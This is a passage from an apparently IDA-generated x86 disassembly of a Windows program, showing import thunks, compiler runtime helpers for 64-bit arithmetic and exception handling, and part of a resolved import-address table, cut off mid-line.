ds:dword_4111A4 sub_410868 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41086E proc near ; CODE XREF: sub_401985+42p ; sub_401B81+F1p ... jmp ds:dword_4111A0 sub_41086E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410880 proc near ; CODE XREF: sub_401B81+1EAp ; sub_401B81+232p ... jmp ds:dword_41119C sub_410880 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410886 proc near ; CODE XREF: sub_401B81+11Ap ; sub_401B81+12Bp ... jmp ds:dword_411198 sub_410886 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41088C proc near ; CODE XREF: sub_401EA8+2Fp ; sub_401EA8+4Ep ... jmp ds:dword_411194 sub_41088C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410892 proc near ; CODE XREF: sub_402018+DDp ; sub_40849F+A2p ... jmp ds:dword_411190 sub_410892 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410898 proc near ; CODE XREF: sub_402018+98p ; sub_402018+B8p ... jmp ds:dword_41118C sub_410898 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41089E proc near ; CODE XREF: sub_402018+47p ; sub_40311D+1Fp ... jmp ds:dword_411188 sub_41089E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4108B0 proc near ; CODE XREF: sub_402EFD+8p ; sub_403DD6+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_4108D0 loc_4108BC: ; CODE XREF: sub_4108B0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_4108BC loc_4108D0: ; CODE XREF: sub_4108B0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_4108B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4108E0 proc near ; CODE XREF: sub_403201+Dp ; sub_403201+26p ... jmp ds:dword_411184 sub_4108E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4108E6 proc near ; CODE XREF: sub_403F1D:loc_403F5Dp jmp ds:dword_411180 sub_4108E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4108EC proc near ; CODE XREF: sub_4049B5+209p ; seg000:0041081Ap jmp ds:dword_41117C sub_4108EC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_410900 proc near ; CODE XREF: sub_4057B0+53p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_410921 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_410971 ; --------------------------------------------------------------------------- loc_410921: ; CODE XREF: sub_410900+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41092F: ; CODE XREF: sub_410900+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41092F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41095A cmp edx, [esp+4+arg_4] ja short loc_41095A jb short loc_410962 cmp eax, [esp+4+arg_0] jbe short loc_410962 loc_41095A: ; CODE XREF: sub_410900+4Aj ; sub_410900+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_410962: ; CODE XREF: sub_410900+52j ; sub_410900+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_410971: ; CODE XREF: sub_410900+1Fj pop ebx retn 10h sub_410900 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_410980 proc near ; CODE XREF: sub_4057B0+2Fp ; sub_4057B0+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_4109A2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4109E3 ; --------------------------------------------------------------------------- loc_4109A2: ; CODE XREF: sub_410980+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_4109B0: ; CODE XREF: sub_410980+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4109B0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4109DE cmp edx, [esp+8+arg_4] ja short loc_4109DE jb short loc_4109DF cmp eax, [esp+8+arg_0] jbe short loc_4109DF loc_4109DE: ; CODE XREF: sub_410980+4Ej ; sub_410980+54j dec esi loc_4109DF: ; CODE XREF: sub_410980+56j ; sub_410980+5Cj xor edx, edx mov eax, esi loc_4109E3: ; CODE XREF: sub_410980+20j pop esi pop ebx retn 10h sub_410980 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4109E8 proc near ; CODE XREF: sub_405CC8+171p ; sub_406324+5Ap ... jmp ds:dword_411178 sub_4109E8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4109F0 proc near ; CODE XREF: sub_406096+5Fp ; sub_406110+A6p cmp cl, 40h jnb short loc_410A0A cmp cl, 20h jnb short loc_410A00 shrd eax, edx, cl shr edx, cl retn ; --------------------------------------------------------------------------- loc_410A00: ; CODE XREF: sub_4109F0+8j mov eax, edx xor edx, edx and cl, 1Fh shr eax, cl retn ; --------------------------------------------------------------------------- loc_410A0A: ; CODE XREF: sub_4109F0+3j xor eax, eax xor edx, edx retn sub_4109F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410A10 proc near ; CODE XREF: sub_406324+53p ; sub_40639B+53p ... jmp ds:dword_411174 sub_410A10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_410A20 proc near ; CODE XREF: sub_406324+40p ; sub_40639B+40p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_410A41 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_410A41: ; CODE XREF: sub_410A20+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_410A5D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_410A5D: ; CODE XREF: sub_410A20+27j or eax, eax jnz short loc_410A79 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_410ABA ; --------------------------------------------------------------------------- loc_410A79: ; CODE XREF: sub_410A20+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_410A87: ; CODE XREF: sub_410A20+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_410A87 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_410AB5 cmp edx, [esp+0Ch+arg_4] ja short loc_410AB5 jb short loc_410AB6 cmp eax, [esp+0Ch+arg_0] jbe short loc_410AB6 loc_410AB5: ; CODE XREF: sub_410A20+85j ; sub_410A20+8Bj dec esi loc_410AB6: ; CODE XREF: sub_410A20+8Dj ; sub_410A20+93j xor edx, edx mov eax, esi loc_410ABA: ; CODE XREF: sub_410A20+57j dec edi jnz short loc_410AC4 neg edx neg eax sbb edx, 0 loc_410AC4: ; CODE XREF: sub_410A20+9Bj pop ebx pop esi pop edi retn 10h sub_410A20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410ACA proc near ; DATA XREF: sub_4064A0+Ao ; sub_406596+Ao ... jmp ds:dword_411170 sub_410ACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410AD0 proc near ; CODE XREF: sub_406541+31p ; sub_40663C+D0p jmp ds:dword_41116C sub_410AD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410AD6 proc near ; CODE XREF: sub_40663C+A4p jmp ds:dword_411168 sub_410AD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410ADC proc near ; CODE XREF: sub_406B1B+B0p ; sub_406B1B+B6p ... jmp ds:dword_411164 sub_410ADC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410AE2 proc near ; CODE XREF: sub_406B1B+3Ep ; sub_406B1B+62p jmp ds:dword_411160 sub_410AE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410AE8 proc near ; CODE XREF: sub_406B1B+19p ; sub_406BE0+16Fp jmp ds:dword_41115C sub_410AE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410AEE proc near ; CODE XREF: sub_406F40+E0p ; sub_40735A+16Ep ... jmp ds:dword_411158 sub_410AEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410AF4 proc near ; CODE XREF: sub_407290+54p jmp ds:dword_411154 sub_410AF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410AFA proc near ; CODE XREF: sub_40735A+C28p ; sub_40AC87+3Dp ... jmp ds:dword_411150 sub_410AFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410B00 proc near ; CODE XREF: sub_408C6C+38p ; sub_408CDE+38p ... jmp ds:dword_41114C sub_410B00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410B06 proc near ; CODE XREF: sub_409E49+31p ; sub_409E49+54p jmp ds:dword_411148 sub_410B06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410B0C proc near ; CODE XREF: sub_409EB3+2Fp ; sub_409EB3+58p jmp ds:dword_411144 sub_410B0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410B12 proc near ; CODE XREF: sub_409EB3+17p jmp ds:dword_411140 sub_410B12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410B18 proc near ; CODE XREF: sub_40B7A2+67p ; sub_40C225+301p ... jmp ds:dword_411138 sub_410B18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410B1E proc near ; CODE XREF: sub_40C225+3AFp ; sub_40C225+425p jmp ds:dword_411134 sub_410B1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410B24 proc near ; CODE XREF: sub_40C225+1E5p ; sub_40C225+23Cp jmp ds:dword_411130 sub_410B24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410B2A proc near ; CODE XREF: sub_40C225+1AAp jmp ds:dword_41112C sub_410B2A endp ; --------------------------------------------------------------------------- loc_410B30: ; CODE XREF: seg000:00410CF5j jmp ds:dword_411128 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_410B38 proc near ; CODE XREF: sub_40F54D+5p push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_410B38 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410B58 proc near ; CODE XREF: sub_40371E+2Fp ; sub_40371E+151p ... jmp ds:dword_41120C sub_410B58 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_410B60 proc near ; CODE XREF: sub_40F54D+6Dp ; sub_40F54D+DAp ... arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_410BCF retn 4 sub_410B60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B6E proc near ; CODE XREF: sub_40F54D+8Cp ; sub_40F54D+15Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] and [ebp+var_4], 0 test eax, eax jz short loc_410BC0 mov ecx, [eax] lea edx, [ebp+arg_4] push edx push offset dword_417B00 push eax call dword ptr [ecx] test eax, eax jl short loc_410BC0 mov eax, [ebp+arg_4] push esi push [ebp+arg_8] mov ecx, [eax] push eax call dword ptr [ecx+0Ch] mov esi, eax mov eax, [ebp+arg_4] push eax mov ecx, [eax] call dword ptr [ecx+8] test esi, esi pop esi jnz short loc_410BC0 lea eax, [ebp+var_4] push eax push 0 call ds:dword_4111DC test eax, eax jz short loc_410BC0 and [ebp+var_4], 0 loc_410BC0: ; CODE XREF: sub_410B6E+Dj ; sub_410B6E+1Fj ... push [ebp+var_4] push [ebp+arg_0] call sub_410BCF leave retn 0Ch sub_410B6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410BCF proc near ; CODE XREF: sub_410B60+6p ; sub_410B6E+58p var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 lea ecx, [ebp+var_10] push [ebp+arg_4] push [ebp+arg_0] call sub_410BF3 lea eax, [ebp+var_10] push offset dword_4113C8 push eax call sub_410CC2 ; _CxxThrowException sub_410BCF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_410BF3 proc near ; CODE XREF: sub_410BCF+11p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov eax, [esp+arg_0] push esi mov esi, ecx and dword ptr [esi+0Ch], 0 mov [esi+4], eax mov eax, [esp+4+arg_4] mov dword ptr [esi], offset off_4112C4 test eax, eax mov [esi+8], eax jz short loc_410C1F cmp [esp+4+arg_8], 0 jz short loc_410C1F mov ecx, [eax] push eax call dword ptr [ecx+4] loc_410C1F: ; CODE XREF: sub_410BF3+1Dj ; sub_410BF3+24j mov eax, esi pop esi retn 0Ch sub_410BF3 endp ; =============== S U B R O U T I N E ======================================= sub_410C25 proc near ; DATA XREF: seg001:off_4112C4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_410C6E test [esp+4+arg_0], 1 jz short loc_410C3B push esi call sub_410ADC pop ecx loc_410C3B: ; CODE XREF: sub_410C25+Dj mov eax, esi pop esi retn 4 sub_410C25 endp ; --------------------------------------------------------------------------- mov eax, [esp+4] push esi mov esi, ecx mov ecx, [eax+4] mov [esi+4], ecx mov eax, [eax+8] and dword ptr [esi+0Ch], 0 mov [esi+8], eax test eax, eax mov dword ptr [esi], offset off_4112C4 jz short loc_410C68 mov ecx, [eax] push eax call dword ptr [ecx+4] loc_410C68: ; CODE XREF: seg000:00410C60j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_410C6E proc near ; CODE XREF: sub_410C25+3p ; DATA XREF: seg001:004113CCo push esi mov esi, ecx mov eax, [esi+8] mov dword ptr [esi], offset off_4112C4 test eax, eax jz short loc_410C84 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_410C84: ; CODE XREF: sub_410C6E+Ej mov esi, [esi+0Ch] test esi, esi jz short loc_410C92 push esi call ds:dword_4110B4 ; LocalFree loc_410C92: ; CODE XREF: sub_410C6E+1Bj pop esi retn sub_410C6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410C94 proc near ; CODE XREF: sub_4011C4+C1p ; sub_4049B5+90p ... jmp ds:dword_4111D4 sub_410C94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410C9A proc near ; CODE XREF: sub_401B81+C9p ; sub_402C11+101p ... jmp ds:dword_411118 sub_410C9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410CA0 proc near ; CODE XREF: sub_402230+B1p ; sub_402230+1ABp ... jmp ds:dword_41111C sub_410CA0 endp ; =============== S U B R O U T I N E ======================================= sub_410CA6 proc near ; DATA XREF: seg001:off_4112CCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_410CC8 test [esp+4+arg_0], 1 jz short loc_410CBC push esi call sub_410ADC pop ecx loc_410CBC: ; CODE XREF: sub_410CA6+Dj mov eax, esi pop esi retn 4 sub_410CA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410CC2 proc near ; CODE XREF: sub_410BCF+1Fp jmp ds:dword_411120 sub_410CC2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410CC8 proc near ; CODE XREF: sub_410CA6+3p jmp ds:dword_411124 sub_410CC8 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-14h] jmp loc_40FCF3 ; --------------------------------------------------------------------------- loc_410CD8: ; DATA XREF: seg001:0041138Co lea ecx, [ebp-1Ch] jmp loc_40FCF3 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp loc_40FCF3 ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp loc_40FCF3 ; --------------------------------------------------------------------------- loc_410CF0: ; DATA XREF: sub_40F54Do mov eax, offset dword_411360 jmp loc_410B30 ; --------------------------------------------------------------------------- align 400h seg000 ends ; Section 2. (virtual address 00011000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00011000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg001 segment para public 'CODE' use32 assume cs:seg001 ;org 411000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_411000 dd 77DD22EAh ; DATA XREF: sub_401000+55r ; sub_4043B3+116r ... dword_411004 dd 77DD5C55h ; DATA XREF: sub_401000+B2r ; sub_4047C0+91r dword_411008 dd 77DD7F3Eh ; DATA XREF: sub_401000+22r dword_41100C dd 77DD23D7h ; DATA XREF: sub_4043B3+14Dr ; sub_4058D7+20Ar ... dword_411010 dd 77DD59F0h ; DATA XREF: sub_4047C0+83r dword_411014 dd 77DD590Bh ; DATA XREF: sub_4047C0+24r dword_411018 dd 77DDACABh ; DATA XREF: sub_4058D7+A4r dword_41101C dd 77DE042Eh ; DATA XREF: sub_40A9A3+59r dword_411020 dd 77DE03D2h ; DATA XREF: sub_40A9A3+1Er dword_411024 dd 77DDEBA2h ; DATA XREF: sub_40A9A3+18r dword_411028 dd 77DD189Ah ; DATA XREF: sub_401000+EBr ; sub_4043B3+226r ... align 10h dword_411030 dd 77E65F4Ch ; DATA XREF: sub_4058D7+B2r dword_411034 dd 77E7C657h ; DATA XREF: sub_4058D7+D6r ; sub_4088FC+1D3r ... dword_411038 dd 77E7513Ch ; DATA XREF: sub_40587E+8r dword_41103C dd 77E705C5h ; DATA XREF: sub_40488C+3Br dword_411040 dd 77E74672h ; DATA XREF: sub_4047C0+6Br ; sub_40F54D+4C7r dword_411044 dd 77E705B0h ; DATA XREF: sub_404715+18r dword_411048 dd 77E7A837h ; DATA XREF: sub_404715+30r ; sub_4048CF+80r ... dword_41104C dd 77E73CE2h ; DATA XREF: sub_404715+67r dword_411050 dd 77E7011Ah ; DATA XREF: sub_404715+9Dr dword_411054 dd 77E704FCh ; DATA XREF: sub_4045E4+16r ; sub_404691+15r ... dword_411058 dd 77E77CCEh ; DATA XREF: sub_40311D+38r dword_41105C dd 77E805D8h ; DATA XREF: sub_402D7B+2r ; sub_403E9B+12r ... dword_411060 dd 77E7A5FDh ; DATA XREF: sub_402D7B+Fr ; sub_403E9B+1Fr ... dword_411064 dd 77E75CB5h ; DATA XREF: sub_40287C+190r ; sub_404BC3+E6r ... dword_411068 dd 77E6BD13h ; DATA XREF: sub_402230+CCr ; sub_4049B5+123r dword_41106C dd 77F5157Dh ; DATA XREF: sub_402230+DAr ; sub_406B1B+8Br ... dword_411070 dd 77E79D8Ch ; DATA XREF: sub_4018A7+20r ; sub_4048CF+BCr ... dword_411074 dd 77E6CBF9h ; DATA XREF: sub_401621+50r dword_411078 dd 77E7727Ah ; DATA XREF: sub_401621+64r dword_41107C dd 77E76C1Ah ; DATA XREF: sub_4058D7+2Fr dword_411080 dd 77E79CE3h ; DATA XREF: sub_401621+BAr dword_411084 dd 77E61BB8h ; DATA XREF: sub_401621+11Cr ; sub_4049B5+1FCr dword_411088 dd 77EB7624h ; DATA XREF: sub_401621+193r dword_41108C dd 77E7FF65h ; DATA XREF: sub_401621+1B3r dword_411090 dd 77E78B82h ; DATA XREF: sub_401621+210r dword_411094 dd 77E79F93h ; DATA XREF: sub_4011C4+A5r ; sub_40287C+151r ... dword_411098 dd 77E7A099h ; DATA XREF: sub_4011C4+ACr ; sub_40287C+158r ... dword_41109C dd 77E706B7h ; DATA XREF: sub_4011C4+E5r ; sub_403F1D+110r ... dword_4110A0 dd 77E61A54h ; DATA XREF: sub_4011C4+12Dr ; sub_404240+7Cr dword_4110A4 dd 77E61BE6h ; DATA XREF: sub_4011C4+1F0r ; sub_4011C4+299r ... dword_4110A8 dd 77E616B4h ; DATA XREF: sub_4011C4+22Dr ; sub_404317+2Er dword_4110AC dd 77E77963h ; DATA XREF: sub_4011C4+255r ; sub_4011C4+274r ... dword_4110B0 dd 77E70396h ; DATA XREF: sub_40110A+15r ; sub_4049B5:loc_404B47r dword_4110B4 dd 77E79A45h ; DATA XREF: sub_410C6E+1Er dword_4110B8 dd 77E73628h ; DATA XREF: sub_40110A+24r ; sub_401985+30r ... dword_4110BC dd 77E7AC37h ; DATA XREF: sub_406E50+D0r dword_4110C0 dd 77E75090h ; DATA XREF: sub_408EC8+71r dword_4110C4 dd 77E74D76h ; DATA XREF: sub_408EC8+3Dr dword_4110C8 dd 77E77797h ; DATA XREF: sub_408EC8+2Cr dword_4110CC dd 77E686CCh ; DATA XREF: sub_406096+3Er ; sub_406110+10Fr dword_4110D0 dd 77E6C0E3h ; DATA XREF: sub_406096+15r ; sub_406110+6Cr ... dword_4110D4 dd 77E7751Ah ; DATA XREF: sub_406324:loc_406385r ; sub_40639B:loc_4063FCr ... dword_4110D8 dd 77E6D75Bh ; DATA XREF: sub_406324+14r ; sub_40639B+14r ... dword_4110DC dd 77E802FCh ; DATA XREF: sub_406324+Ar ; sub_40639B+Ar ... dword_4110E0 dd 77E7176Ch ; DATA XREF: sub_4064A0+40r dword_4110E4 dd 77E75CEBh ; DATA XREF: sub_406868+6Br ; sub_406868+F8r dword_4110E8 dd 77E79908h ; DATA XREF: sub_406AB6+26r dword_4110EC dd 77F7E21Fh ; DATA XREF: sub_406AE4+4r dword_4110F0 dd 77E80656h ; DATA XREF: sub_4011C4:loc_40124Ar ; sub_404317+14r dword_4110F4 dd 77F7E300h ; DATA XREF: sub_406AEF+4r dword_4110F8 dd 77E79C90h ; DATA XREF: sub_401621+A2r dword_4110FC dd 77E78C17h ; DATA XREF: seg000:00410580r dword_411100 dd 77E7C2C4h ; DATA XREF: seg000:004105E5r dword_411104 dd 77E73167h ; DATA XREF: sub_40F54D:loc_40F7F0r ; sub_40F54D+320r ... dword_411108 dd 77E73BEFh ; DATA XREF: sub_40F54D+58Dr dword_41110C dd 77E7AC5Eh ; DATA XREF: sub_40F11A+96r dword_411110 dd 77E76432h ; DATA XREF: sub_408F9D+1E2r ; sub_40F54D+2C2r ... align 8 dword_411118 dd 77C1C055h ; DATA XREF: sub_410C9Ar dword_41111C dd 77C423F5h ; DATA XREF: sub_410CA0r dword_411120 dd 77C219F5h ; DATA XREF: sub_410CC2r dword_411124 dd 77C20C5Bh ; DATA XREF: sub_410CC8r dword_411128 dd 77C21AD8h ; DATA XREF: seg000:loc_410B30r dword_41112C dd 77C1CF9Eh ; DATA XREF: sub_410B2Ar dword_411130 dd 77C43790h ; DATA XREF: sub_410B24r dword_411134 dd 77C43CB2h ; DATA XREF: sub_410B1Er dword_411138 dd 77C43DBCh ; DATA XREF: sub_410B18r dword_41113C dd 77C41FA0h ; DATA XREF: sub_410820r dword_411140 dd 77C43150h ; DATA XREF: sub_410B12r dword_411144 dd 77C33FDEh ; DATA XREF: sub_410B0Cr dword_411148 dd 77C33FC1h ; DATA XREF: sub_410B06r dword_41114C dd 77C3CE0Ch ; DATA XREF: sub_410B00r dword_411150 dd 77C42D60h ; DATA XREF: sub_410AFAr dword_411154 dd 77C1C6F3h ; DATA XREF: sub_410AF4r dword_411158 dd 77C435C0h ; DATA XREF: sub_410AEEr dword_41115C dd 77C3E5D9h ; DATA XREF: sub_410AE8r dword_411160 dd 77C28925h ; DATA XREF: sub_410AE2r dword_411164 dd 77C28933h ; DATA XREF: sub_410ADCr dword_411168 dd 77C3CCE7h ; DATA XREF: sub_410AD6r dword_41116C dd 77C37FEDh ; DATA XREF: sub_410AD0r dword_411170 dd 77C33EB0h ; DATA XREF: sub_410ACAr dword_411174 dd 77C4B940h ; DATA XREF: sub_410A10r dword_411178 dd 77C4B120h ; DATA XREF: sub_4109E8r dword_41117C dd 77C37ADCh ; DATA XREF: sub_4108ECr dword_411180 dd 77C2AC58h ; DATA XREF: sub_4108E6r dword_411184 dd 77C438C0h ; DATA XREF: sub_4108E0r dword_411188 dd 77C3C93Ch ; DATA XREF: sub_41089Er dword_41118C dd 77C43AB0h ; DATA XREF: sub_410898r dword_411190 dd 77C3E8C0h ; DATA XREF: sub_410892r dword_411194 dd 77C1BE00h ; DATA XREF: sub_41088Cr dword_411198 dd 77C3E140h ; DATA XREF: sub_410886r dword_41119C dd 77C3DFB5h ; DATA XREF: sub_410880r dword_4111A0 dd 77C3BF06h ; DATA XREF: sub_41086Er dword_4111A4 dd 77C3D8F6h ; DATA XREF: sub_410868r dword_4111A8 dd 77C3E4B9h ; DATA XREF: sub_410862r dword_4111AC dd 77C3E303h ; DATA XREF: sub_41085Cr dword_4111B0 dd 77C41FB0h ; DATA XREF: sub_410856r dword_4111B4 dd 77C43490h ; DATA XREF: sub_410850r dword_4111B8 dd 77C46553h ; DATA XREF: sub_41084Ar dword_4111BC dd 77C3C813h ; DATA XREF: sub_410844r dword_4111C0 dd 77C43900h ; DATA XREF: sub_41083Er dword_4111C4 dd 77C42E10h ; DATA XREF: sub_410838r dword_4111C8 dd 77C2AA6Bh ; DATA XREF: sub_410832r dword_4111CC dd 77C2AC46h ; DATA XREF: sub_41082Cr dword_4111D0 dd 77C43710h ; DATA XREF: sub_410826r dword_4111D4 dd 77C421A2h ; DATA XREF: sub_410C94r dd 0 dword_4111DC dd 7713BC68h ; DATA XREF: sub_410B6E+44r dd 0 dword_4111E4 dd 77428B97h ; DATA XREF: sub_4018D5+28r ; sub_402230+50Dr ... dd 0 dword_4111EC dd 77D4C96Ah ; DATA XREF: sub_4048CF+9Fr ; sub_406110+50r ... dword_4111F0 dd 77D5C13Ah ; DATA XREF: sub_40735A+DFr ; sub_40FD00+4Br dword_4111F4 dd 77D4456Bh ; DATA XREF: sub_40735A+D8r dword_4111F8 dd 77D4BDCAh ; DATA XREF: sub_408EBA+7r dword_4111FC dd 77D4702Fh ; DATA XREF: sub_408EC8+5Ar dword_411200 dd 77D79D1Ch ; DATA XREF: sub_40F54D+3E9r align 8 dword_411208 dd 71AB3E5Dh ; DATA XREF: sub_403AFB+8Br ; sub_403BBB+B9r ... dword_41120C dd 71AB1B7Bh ; DATA XREF: sub_410B58r dword_411210 dd 71AB8629h ; DATA XREF: sub_403D27+6r ; sub_40DA6E+110r ... dword_411214 dd 71AB1890h ; DATA XREF: sub_40371E+12Dr ; sub_4039D2+81r ... dword_411218 dd 71AB3F8Dh ; DATA XREF: sub_4035FB+B8r ; sub_40D201+9Dr dword_41121C dd 71AB3ECEh ; DATA XREF: sub_4035FB+C5r ; sub_40D201+AAr ... dword_411220 dd 71AB1AF4h ; DATA XREF: sub_403D54+Er ; sub_40735A+D58r ... dword_411224 dd 71ABF628h ; DATA XREF: sub_403495+1Er ; sub_403536+1Er dword_411228 dd 71AB155Ah ; DATA XREF: sub_403402+1Ar ; sub_403424+Fr dword_41122C dd 71AB3C22h ; DATA XREF: sub_40331D+7r ; sub_4035FB+83r ... dword_411230 dd 71AB401Ch ; DATA XREF: sub_402C11+4Fr ; sub_404D33+154r ... dword_411234 dd 71ABD755h ; DATA XREF: sub_402C11+86r ; sub_406BE0+1A4r dword_411238 dd 71AB1740h ; DATA XREF: sub_402C11:loc_402CD9r ; sub_403AFB+96r ... dword_41123C dd 71AB868Dh ; DATA XREF: sub_40371E+89r ; sub_40371E+1A3r dword_411240 dd 71AB1A6Dh ; DATA XREF: sub_403D49+4r ; sub_40735A+D5Fr ... dword_411244 dd 71AB350Dh ; DATA XREF: sub_402A12+38r ; sub_402A12+12Er ... dword_411248 dd 71AB1746h ; DATA XREF: sub_402A12+91r ; sub_402A12+168r ... dword_41124C dd 71AB2BBFh ; DATA XREF: sub_402A12+E8r ; sub_406BE0+CBr ... dword_411250 dd 71AB157Eh ; DATA XREF: sub_401B81+7Dr ; sub_403443+1Er ... dword_411254 dd 